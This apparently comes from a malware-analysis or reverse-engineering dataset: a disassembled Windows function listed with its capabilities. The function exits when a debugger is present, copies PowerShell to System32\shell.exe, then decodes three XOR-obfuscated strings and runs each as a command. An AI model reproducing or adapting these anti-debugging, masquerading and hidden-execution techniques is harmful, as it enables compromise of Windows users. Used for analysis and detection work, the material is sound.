Function at 0x1400015f1
Capabilities:
Check if file exists
Copy file
Query environment variable

Disassembly:
push rbp
push rdi
sub rsp, 0x518
lea rbp, [rsp + 0x80]
call sym.__main
lea rdx, [rbp + 0x3c0]
mov eax, 0
mov ecx, 0x13
mov rdi, rdx
rep stosq qword [rdi], rax
lea rdx, [rbp + 0x320]
mov eax, 0
mov ecx, 0x13
mov rdi, rdx
rep stosq qword [rdi], rax
call sym.IsDebuggerPresentCheck
test eax, eax
je 0x140001648
mov ecx, 1
call sym.exit
lea rax, str.SystemRoot
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x480], rax
lea rax, str.System32WindowsPowerShell_v1.0powershell.exe
mov qword [rbp + 0x478], rax
lea rax, str.System32_shell.exe
mov qword [rbp + 0x470], rax
mov rcx, qword [rbp + 0x480]
lea rax, [rbp + 0x210]
mov rdx, qword [rbp + 0x478]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
call sym.snprintf
mov rcx, qword [rbp + 0x480]
lea rax, [rbp + 0x100]
mov rdx, qword [rbp + 0x470]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rax
test eax, eax
jne 0x140001915
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x210]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
je 0x14000190e
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
movabs rax, 0x3006753939303d26
mov qword [rbp - 0x20], rax
movabs rdi, 0x3330270525187821
mov qword [rbp - 0x18], rdi
movabs rdi, 0x787530363b302730
mov qword [rbp - 0x10], rdi
movabs rdi, 0x3a3c262039362d10
mov qword [rbp - 8], rdi
movabs rdi, 0x7177753d2134053b
mov qword [rbp], rdi
movabs rdi, 0x21262c066f233b30
mov qword [rbp + 8], rdi
movabs rdi, 0x7730233c27113830
mov qword [rbp + 0x10], rdi
mov byte [rbp + 0x18], 0x75
mov qword [rbp + 0x20], rax
movabs rax, 0x212036302d107821
mov qword [rbp + 0x28], rax
movabs rax, 0x363c393a053b3a3c
mov qword [rbp + 0x30], rax
movabs rax, 0x2036302d1078752c
mov qword [rbp + 0x38], rax
movabs rax, 0x3c393a053b3a3c21
mov qword [rbp + 0x40], rax
movabs rax, 0x2630273b00752c36
mov qword [rbp + 0x48], rax
movabs rax, 0x75313021363c2721
mov qword [rbp + 0x50], rax
movabs rax, 0x753036273a337875
mov qword [rbp + 0x57], rax
lea rax, [rbp + 0x60]
lea rdx, str.099u
mov ecx, 0x9b
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rax, [rbp - 0x20]
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x48], 0x39
mov byte [rbp - 0x44], 0x55
lea rax, [rbp + 0x20]
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x38], 0x3f
mov byte [rbp - 0x34], 0x55
lea rax, [rbp + 0x60]
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 0x9b
mov byte [rbp - 0x24], 0x55
mov dword [rbp + 0x46c], 3
mov dword [rbp + 0x48c], 0
jmp 0x1400018fc
mov eax, dword [rbp + 0x48c]
cdqe
shl rax, 4
lea rax, [rax + 0x490]
add rax, rbp
sub rax, 0x4d4
movzx eax, byte [rax]
movzx ecx, al
mov eax, dword [rbp + 0x48c]
cdqe
shl rax, 4
lea rax, [rax + 0x490]
add rax, rbp
sub rax, 0x4d8
mov edx, dword [rax]
mov eax, dword [rbp + 0x48c]
cdqe
shl rax, 4
lea rax, [rax + 0x490]
add rax, rbp
sub rax, 0x4e0
mov rax, qword [rax]
mov r8d, ecx
mov rcx, rax
call sym.deobfuscate_string
mov qword [rbp + 0x460], rax
mov rax, qword [rbp + 0x460]
mov rcx, rax
call sym.execCommand
mov rax, qword [rbp + 0x460]
mov rcx, rax
call sym.free
add dword [rbp + 0x48c], 1
mov eax, dword [rbp + 0x48c]
cmp eax, dword [rbp + 0x46c]
jl 0x140001866
mov eax, 0
jmp 0x14000191a
mov eax, 0
add rsp, 0x518
pop rdi
pop rbp
ret